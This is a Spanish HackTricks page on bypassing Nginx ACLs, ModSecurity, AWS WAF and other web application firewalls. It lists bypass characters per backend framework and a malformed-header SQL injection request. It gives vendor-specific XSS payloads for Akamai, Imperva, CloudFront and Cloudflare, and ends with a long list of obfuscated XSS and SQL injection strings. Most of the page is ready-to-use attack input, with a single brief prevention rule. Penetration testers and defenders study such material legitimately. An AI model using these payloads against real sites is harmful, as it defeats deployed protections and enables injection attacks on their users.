Evasión de Protecciones Proxy / WAF

Reading time: 13 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Evasión de reglas ACL de Nginx mediante manipulación de pathname

Técnicas from this research.

Ejemplo de regla de Nginx:

plaintext
location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Para prevenir bypasses, Nginx realiza la normalización de rutas antes de comprobarlas. Sin embargo, si el servidor backend realiza una normalización diferente (eliminando caracteres que nginx no elimina), podría ser posible un bypass a esta defensa.

NodeJS - Express

Versión de NginxNode.js Bypass Characters
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09, \x0C
1.18.0\xA0, \x09, \x0C
1.16.1\xA0, \x09, \x0C

Flask

Versión de NginxFlask Bypass Characters
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Versión de NginxSpring Boot Bypass Characters
1.22.0;
1.21.6;
1.20.2\x09, ;
1.18.0\x09, ;
1.16.1\x09, ;

PHP-FPM

Configuración FPM de Nginx:

plaintext
location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx está configurado para bloquear el acceso a /admin.php pero es posible eludir esto accediendo a /admin.php/index.php.

Cómo prevenirlo

plaintext
location ~* ^/admin {
deny all;
}

Evasión de reglas de Mod Security

Confusión de ruta

En esta entrada se explica que ModSecurity v3 (hasta la 3.0.12) implementó incorrectamente la variable REQUEST_FILENAME que se suponía debía contener la ruta accedida (hasta el inicio de los parámetros). Esto es porque realizaba una decodificación de la URL para obtener la ruta.
Por lo tanto, una petición como http://example.com/foo%3f';alert(1);foo= en mod security supondrá que la ruta es solo /foo porque %3f se transforma en ? terminando la ruta del URL, pero en realidad la ruta que recibirá un servidor será /foo%3f';alert(1);foo=.

Las variables REQUEST_BASENAME y PATH_INFO también se vieron afectadas por este bug.

Algo similar ocurrió en la versión 2 de Mod Security que permitía evadir una protección que impedía a usuarios acceder a ficheros con extensiones específicas relacionadas con backups (como .bak) simplemente enviando el punto URL codificado en %2e, por ejemplo: https://example.com/backup%2ebak.

Bypass AWS WAF ACL

Cabecera malformada

Esta investigación menciona que era posible evadir reglas de AWS WAF aplicadas sobre cabeceras HTTP enviando una cabecera "malformed" que no era correctamente parseada por AWS pero sí por el servidor backend.

Por ejemplo, enviando la siguiente petición con una inyección SQL en la cabecera X-Query:

http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

Fue posible evadir AWS WAF porque no entendía que la siguiente línea era parte del valor del header mientras que el servidor NODEJS sí lo hacía (esto fue corregido).

Bypasses genéricos de WAF

Límites de tamaño de request

Normalmente los WAFs tienen un cierto límite de longitud de requests a revisar y si una request POST/PUT/PATCH lo supera, el WAF no la inspeccionará.

Tamaño máximo del cuerpo de una web request que puede ser inspeccionado para Application Load Balancer y las protecciones de AWS AppSync8 KB
Tamaño máximo del cuerpo de una web request que puede ser inspeccionado para CloudFront, API Gateway, Amazon Cognito, App Runner, y las protecciones de Verified Access**64 KB

Los Web Application Firewalls más antiguos con Core Rule Set 3.1 (o inferior) permiten mensajes mayores a 128 KB al desactivar la inspección del body de la request, pero esos mensajes no serán revisados por vulnerabilidades. Para versiones más nuevas (Core Rule Set 3.2 o superior), lo mismo puede hacerse desactivando el límite máximo del body de la request. Cuando una request excede el límite de tamaño:

Si prevention mode: registra y bloquea la request.\ Si detection mode: inspecciona hasta el límite, ignora el resto, y registra si el Content-Length excede el límite.

Por defecto, el WAF inspecciona solo los primeros 8KB de una request. Puede aumentar el límite hasta 128KB añadiendo Advanced Metadata.

Hasta 128KB.

Lagunas en la inspección de assets estáticos (.js GETs)

Algunas pilas CDN/WAF aplican una inspección de contenido débil o nula a GET requests para assets estáticos (por ejemplo rutas que terminan en .js), mientras siguen aplicando reglas globales como rate limiting y reputación de IP. Combinado con auto-caching de extensiones estáticas, esto puede abusarse para entregar o sembrar variantes maliciosas que afecten a respuestas HTML subsecuentes.

Casos prácticos:

  • Enviar payloads en headers no confiables (p. ej., User-Agent) en un GET a una ruta .js para evitar la inspección de contenido, y luego solicitar inmediatamente el HTML principal para influir en la variante cacheada.
  • Usar una IP nueva/limpia; una vez que una IP es marcada, cambios en el enrutamiento pueden hacer que la técnica sea poco fiable.
  • En Burp Repeater, usar "Send group in parallel" (single-packet style) para competir las dos requests (.js y luego HTML) por la misma ruta front-end.

Esto se complementa con header-reflection cache poisoning. Ver:

Cache Poisoning and Cache Deception

Obfuscation

bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Compatibilidad Unicode

Dependiendo de la implementación de la normalización Unicode (más información here), los caracteres que comparten compatibilidad Unicode pueden ser capaces de bypass the WAF y ejecutarse como la payload prevista. Los caracteres compatibles se pueden encontrar here.

Ejemplo

bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

Evadir WAFs contextuales con codificaciones

Como se menciona en this blog post, para evadir WAFs capaces de mantener un contexto de la entrada del usuario podríamos abusar de las técnicas del WAF para realmente normalizar la entrada del usuario.

Por ejemplo, en el post se menciona que Akamai URL decoded a user input 10 times. Por lo tanto algo como <input/%2525252525252525253e/onfocus será visto por Akamai como <input/>/onfocus que podría considerar que está bien ya que la etiqueta está cerrada. Sin embargo, en la medida en que la aplicación no decodifique la URL 10 veces, la víctima verá algo como <input/%25252525252525253e/onfocus que sigue siendo válido para un ataque XSS.

Por lo tanto, esto permite ocultar payloads en componentes codificados que el WAF decodificará e interpretará mientras la víctima no lo hará.

Además, esto se puede hacer no solo con payloads codificados en URL sino también con otras codificaciones como unicode, hex, octal...

En el post se sugieren los siguientes final bypasses:

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

También se menciona que, dependiendo de cómo algunos WAFs entienden el contexto de la entrada del usuario, podría ser posible abusar de ello. El ejemplo propuesto en el blog es que Akamai allow(ed) to put anything between /* and */ (potencialmente porque esto se usa comúnmente como comentarios). Por lo tanto, una SQLinjection such as /*'or sleep(5)-- -*/ no sería detectada y sería válida ya que /* es la cadena de inicio de la inyección y */ está comentada.

Este tipo de problemas de contexto también pueden usarse para abusar de otras vulnerabilidades diferentes a la que el WAF espera (p. ej., esto también podría usarse para explotar un XSS).

H2C Smuggling

Upgrade Header Smuggling

Rotación de IP (IP Rotation)

Regex Bypasses

Se pueden usar diferentes técnicas para evadir los filtros basados en regex en los firewalls. Ejemplos incluyen alternar mayúsculas/minúsculas, añadir saltos de línea y codificar payloads. Recursos para los distintos bypasses pueden encontrarse en PayloadsAllTheThings y OWASP. Los ejemplos abajo fueron extraídos de this article.

bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Herramientas

  • nowafpls: plugin de Burp para añadir datos basura a las solicitudes para evadir WAFs mediante la longitud

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks